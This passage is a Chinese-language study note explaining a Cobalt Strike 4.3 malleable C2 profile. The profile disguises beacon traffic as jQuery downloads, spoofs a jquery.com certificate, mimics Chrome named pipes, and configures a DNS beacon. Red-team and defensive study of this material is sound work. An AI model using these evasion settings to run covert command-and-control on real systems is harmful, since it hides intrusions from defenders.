此处以最新版 jquery-c2.4.3.profile 为例,学习记录各项配置的作用。部分配置尚未研究清楚适用场景,后续继续学习再补充。
cobalt strike 4.3 官方文档:https://cobaltstrike.com/downloads/csmanual43.pdf
提示
- 关于参数与值:
profile 文件将参数括在双引号中,而不是单引号中。例如:
正确: set useragent "SOME AGENT";
错误: set useragent 'SOME AGENT';
- 一些特殊字符不需要转义,例如:
!@#$%^&*()
- 值可以使用分号, 例如:
prepend "This is an example;";
- 值中的双引号需要转义, 例如:
append "here is \"some\" stuff";
- 双斜杠表示单斜杠:例如:
append "more \\ stuff";
- 编译后的
.http-post.client
必须小于252个字节。
配置解读
set sample_name "jQuery CS 4.3 Profile";
设置配置文件名称,此处会显示在输出的报告中。
set sleeptime "45000";
设置上线后的睡眠时间,45000单位是毫秒。 此处不要设置为0, 设置为0后木马无法上线。cobalt strike 默认的睡眠时间是60000ms 。
set jitter "37";
设置抖动频率,默认是0.
set data_jitter "100";
设置数据抖动大小。设置后,在请求的过程中,会追加随机长度(小于设置的值)的随机字符串。
set headers_remove "Strict-Transport-Security, header2, header3";
全局选项,强制Beacon的WinINet在HTTP/HTTPS请求中删除指定的请求头。
set useragent "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";
设置请求的UA,此处可以结合nginx反向代理,对stage进行隐藏。 此项默认是IE的随机UA,在CS小于4.2的版本最大字符是128, CS4.2以上的版本最大字符是255。
https-certificate {
## 选项 1) 使用可信的签名证书
## 使用 keytool 创建一个 Java Keystore 文件.
## 参考: https://www.cobaltstrike.com/help-malleable-c2#validssl
## 参考: https://github.com/killswitch-GUI/CobaltStrike-ToolKit/blob/master/HTTPsC2DoneRight.sh
## 选项 2) 使用自创建的自签名证书
## 使用 keytool 导入自签名证书
#set keystore "/pathtokeystore"; :设置keystore路径
#set password "password"; :设置证书密码
## 选项3 3) 使用Cobalt Strike自签名证书
set C "US";
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";
}
SSL证书配置,用于对C2的https监听配置签名、自签名证书。默认是所有的证书值均为空。这里CS官方建议是:使用可信的证书签名。
set tcp_port "42585";
set tcp_frame_header "\x80";
TCP Beacon 的相关设置,tcp监听端口详细信息可以参考:https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/ 、 https://www.cobaltstrike.com/help-tcp-beacon 。 tcp_frame_header可以在tcp信息前追加设定的字符。Cobalt Strike默认使用的tcp监听端口为4444, 且不在信息前追加字符。
官方指导意见:不建议使用4444端口进行监听。建议使用高端口监听。
set pipename "mojo.5688.8052.183894939787088877##"; # Common Chrome named pipe
set pipename_stager "mojo.5688.8052.35780273329370473##"; # Common Chrome named pipe
set smb_frame_header "\x80";
SMB Beacon的相关设置。使用SMB进行对等通信。CS4.1版本之后加入SMB Frame Header选项。CS默认使用的管道名为:
msagent_##
,pipename_stager为:status_##
。
官方建议:不要使用已经存在的命名管道,beacon不会检测是否与已存在的管道名冲突。配置文件使用者要把##
替换成数字
dns-beacon {
# Options moved into "dns-beacon" group in version 4.3
set dns_idle "74.125.196.113"; #google.com (change this to match your campaign)
set dns_max_txt "252";
set dns_sleep "0"; # Force a sleep prior to each individual DNS request. (in milliseconds)
set dns_ttl "5";
set maxdns "255";
set dns_stager_prepend ".resources.123456.";
set dns_stager_subhost ".feeds.123456.";
# DNS subhosts override options, added in version 4.3
set beacon "a.bc.";
set get_A "b.1a.";
set get_AAAA "c.4a.";
set get_TXT "d.tx.";
set put_metadata "e.md.";
set put_output "f.po.";
set ns_response "zero";
}
DNS Beacon 的相关配置。DNS beacon 会生成大量的DNS请求。DNS Beacon最好用作低速备份C2通道。
set ssh_banner "OpenSSH_7.4 Debian (protocol 2.0)";
set ssh_pipename "wkssvc##";
SSH Beacon 的相关配置。使用SSH协议进行P2P对等通信。Cobalt Strike 4.1版本开始使用。
set host_stage "false";
不建议使用host_stage。建议使用stageles有效负载,现在是Cobalt Strike的默认选项。
http-stager {
# x86的请求地址
set uri_x86 "/jquery-3.3.1.slim.min.js";
# x64的请求地址
set uri_x64 "/jquery-3.3.2.slim.min.js";
server {
# 服务端的相关配置
# 设置header 信息
header "Server" "NetDNA-cache/2.2";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
## 在实际的请求中追加jquery字符串进行伪装。
prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0